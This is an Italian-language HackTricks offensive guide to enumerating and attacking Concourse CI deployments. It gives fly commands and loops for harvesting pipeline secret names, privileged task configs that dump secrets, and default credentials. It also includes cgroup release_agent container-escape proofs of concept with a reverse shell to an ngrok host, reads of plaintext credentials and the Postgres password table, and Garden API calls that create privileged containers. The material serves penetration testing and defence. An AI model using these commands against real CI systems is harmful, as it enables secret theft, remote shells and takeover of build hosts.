Concourse Enumeration & Attacks

Enumerazione e Attacchi a Concourse

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Ruoli Utente e Permessi

Concourse ha cinque ruoli:

  • Concourse Admin: Questo ruolo è dato solo ai proprietari del team principale (team concourse iniziale predefinito). Gli admin possono configurare altri team (ad esempio: fly set-team, fly destroy-team...). I permessi di questo ruolo non possono essere influenzati da RBAC.

  • owner: I proprietari del team possono modificare tutto all'interno del team.

  • member: I membri del team possono leggere e scrivere all'interno degli asset del team ma non possono modificare le impostazioni del team.

  • pipeline-operator: Gli operatori di pipeline possono eseguire operazioni sulla pipeline come avviare build e fissare risorse, ma non possono aggiornare le configurazioni della pipeline.

  • viewer: Gli spettatori del team hanno accesso "sola lettura" a un team e alle sue pipeline.

Inoltre, i permessi dei ruoli owner, member, pipeline-operator e viewer possono essere modificati configurando RBAC (configurando in modo più specifico le sue azioni). Leggi di più al riguardo in: https://concourse-ci.org/user-roles.html

Si noti che Concourse raggruppa le pipeline all'interno dei Team. Pertanto gli utenti appartenenti a un Team saranno in grado di gestire quelle pipeline e potrebbero esistere diversi Team. Un utente può appartenere a diversi Team e avere permessi diversi all'interno di ognuno di essi.

Variabili e Gestore delle Credenziali

Nei file di configurazione YAML è possibile configurare i valori utilizzando la sintassi ((_source-name_:_secret-path_._secret-field_)). Da documentazione: Il nome-sorgente è facoltativo, e se omesso, verrà utilizzato il gestore delle credenziali a livello di cluster, oppure il valore può essere fornito staticamente. Il facoltativo _secret-field_ specifica un campo sul segreto recuperato da leggere. Se omesso, il gestore delle credenziali potrebbe scegliere di leggere un 'campo predefinito' dal credenziale recuperato se il campo esiste. Inoltre, il secret-path e secret-field possono essere circondati da doppi apici "..." se contengono caratteri speciali come . e :. Ad esempio, ((source:"my.secret"."field:1")) imposterà il secret-path su my.secret e il secret-field su field:1.

Variabili Statiche

Le variabili statiche possono essere specificate nei passaggi delle attività:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Gestione delle credenziali

Ci sono diversi modi in cui un Gestore delle credenziali può essere specificato in un pipeline, leggi come in https://concourse-ci.org/creds.html. Inoltre, Concourse supporta diversi gestori delle credenziali:

Nota che se hai un tipo di accesso in scrittura a Concourse puoi creare lavori per esfiltrare quei segreti poiché Concourse deve essere in grado di accedervi.

Enumerazione di Concourse

Per enumerare un ambiente di Concourse è necessario prima raccogliere credenziali valide o trovare un token autenticato probabilmente in un file di configurazione .flyrc.

Accesso e enumerazione dell'utente corrente

  • Per effettuare l'accesso è necessario conoscere il endpoint, il nome del team (di default è main) e un team a cui l'utente appartiene:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Ottenere target configurati:

  • fly targets

  • Verificare se la connessione al target configurato è ancora valida:

  • fly -t <target> status

  • Ottenere il ruolo dell'utente rispetto al target indicato:

  • fly -t <target> userinfo

Nota che il token API è salvato in $HOME/.flyrc per impostazione predefinita, se saccheggi una macchina potresti trovarci le credenziali.

Team e Utenti

  • Ottenere un elenco dei Team

  • fly -t <target> teams

  • Ottenere ruoli all'interno del team

  • fly -t <target> get-team -n <team-name>

  • Ottenere un elenco degli utenti

  • fly -t <target> active-users

Pipeline

  • Elenca le pipeline:

  • fly -t <target> pipelines -a

  • Ottieni il file yaml della pipeline (potrebbero essere presenti informazioni sensibili nella definizione):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Ottieni tutte le variabili di configurazione della pipeline

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Ottieni tutti i nomi segreti delle pipeline utilizzati (se puoi creare/modificare un lavoro o dirottare un container potresti esfiltrarli):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Contenitori e Workers

  • Elenco dei workers:

  • fly -t <target> workers

  • Elenco dei contenitori:

  • fly -t <target> containers

  • Elenco delle builds (per vedere cosa è in esecuzione):

  • fly -t <target> builds

Attacchi a Concourse

Forza bruta delle credenziali

  • admin:admin

  • test:test

Enumerazione di segreti e parametri

Nella sezione precedente abbiamo visto come è possibile ottenere tutti i nomi dei segreti e delle variabili utilizzati dal pipeline. Le variabili potrebbero contenere informazioni sensibili e il nome dei segreti sarà utile in seguito per cercare di rubarli.

Sessione all'interno di un contenitore in esecuzione o eseguito di recente

Se si dispone di sufficienti privilegi (ruolo di membro o superiore) sarà possibile elencare i pipeline e i ruoli e semplicemente ottenere una sessione all'interno del contenitore <pipeline>/<job> utilizzando:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Con queste autorizzazioni potresti essere in grado di:

  • Rubare i segreti all'interno del container

  • Provare a fuggire al nodo

  • Enumerare/Abusare del endpoint dei metadati cloud (dalla pod e dal nodo, se possibile)

Creazione/Modifica del Pipeline

Se hai abbastanza privilegi (ruolo di membro o superiore) sarai in grado di creare/modificare nuovi pipeline. Controlla questo esempio:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Con la modifica/creazione di un nuovo pipeline sarai in grado di:

  • Rubare i segreti (tramite il loro echo o accedendo al container e eseguendo env)

  • Scappare al nodo (dandoti abbastanza privilegi - privileged: true)

  • Enumerare/Abusare del endpoint dei metadati cloud (dal pod e dal nodo)

  • Eliminare il pipeline creato

Eseguire un Compito Personalizzato

Questo è simile al metodo precedente ma invece di modificare/creare un intero nuovo pipeline puoi solo eseguire un compito personalizzato (che probabilmente sarà molto più furtivo):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Fuga al nodo da un compito privilegiato

Nelle sezioni precedenti abbiamo visto come eseguire un compito privilegiato con Concourse. Questo non darà al contenitore lo stesso accesso del flag privilegiato in un contenitore docker. Ad esempio, non vedrai il dispositivo del filesystem del nodo in /dev, quindi la fuga potrebbe essere più "complessa".

Nel seguente PoC useremo il release_agent per fuggire con alcune piccole modifiche:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Come avrai notato, si tratta solo di una fuga regolare dell'agente di rilascio modificando semplicemente il percorso del cmd nel nodo

Fuga verso il nodo da un contenitore Worker

Una fuga regolare dell'agente di rilascio con una piccola modifica è sufficiente per questo:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Fuga al nodo dal contenitore Web

Anche se il contenitore web ha alcune difese disabilitate, non viene eseguito come un comune contenitore privilegiato (ad esempio, non è possibile montare e le abilitazioni sono molto limitate, quindi tutti i modi facili per fuggire dal contenitore sono inutili).

Tuttavia, memorizza le credenziali locali in chiaro:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Puoi utilizzare quelle credenziali per effettuare il login sul server web e creare un container privilegiato e scappare al nodo.

Nell'ambiente puoi trovare anche informazioni per accedere all'istanza di postgresql che concourse utilizza (indirizzo, nome utente, password e database tra le altre informazioni):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abuso del servizio Garden - Non un vero attacco

Queste sono solo alcune note interessanti sul servizio, ma poiché è in ascolto solo su localhost, queste note non avranno alcun impatto che non abbiamo già sfruttato in precedenza.

Per impostazione predefinita, ogni worker di Concourse eseguirà un servizio Garden sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker cosa deve eseguire (scaricare l'immagine e eseguire ogni attività). Questo sembra abbastanza vantaggioso per un attaccante, ma ci sono alcune buone protezioni:

  • È esposto solo localmente (127.0.0.1) e penso che quando il worker si autentica nuovamente sul Web con il servizio SSH speciale, viene creato un tunnel in modo che il server Web possa comunicare con ogni servizio Garden all'interno di ogni worker.

  • Il server Web controlla i contenitori in esecuzione ogni pochi secondi, e i contenitori inesperati vengono eliminati. Quindi, se si desidera eseguire un contenitore personalizzato, è necessario manomettere la comunicazione tra il server Web e il servizio Garden.

I worker di Concourse vengono eseguiti con privilegi elevati del contenitore:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Tuttavia, tecniche come il montaggio del dispositivo /dev del nodo o release_agent non funzioneranno (poiché il dispositivo reale con il filesystem del nodo non è accessibile, solo uno virtuale). Non possiamo accedere ai processi del nodo, quindi sfuggire al nodo senza sfruttare il kernel diventa complicato.

Nella sezione precedente abbiamo visto come sfuggire da un contenitore privilegiato, quindi se possiamo eseguire comandi in un contenitore privilegiato creato dal worker corrente, potremmo sfuggire al nodo.

Si noti che giocando con Concourse ho notato che quando viene generato un nuovo contenitore per eseguire qualcosa, i processi del contenitore sono accessibili dal contenitore worker, quindi è come se un contenitore creasse un nuovo contenitore al suo interno.

Entrare in un contenitore privilegiato in esecuzione

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Creazione di un nuovo container privilegiato

È possibile creare facilmente un nuovo container (eseguire un UID casuale) ed eseguire qualcosa su di esso:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Tuttavia, il server web controlla ogni pochi secondi i contenitori in esecuzione e, se ne viene scoperto uno inaspettato, verrà eliminato. Poiché la comunicazione avviene tramite HTTP, potresti alterare la comunicazione per evitare l'eliminazione dei contenitori inaspettati:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Riferimenti

  • https://concourse-ci.org/vars.html

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated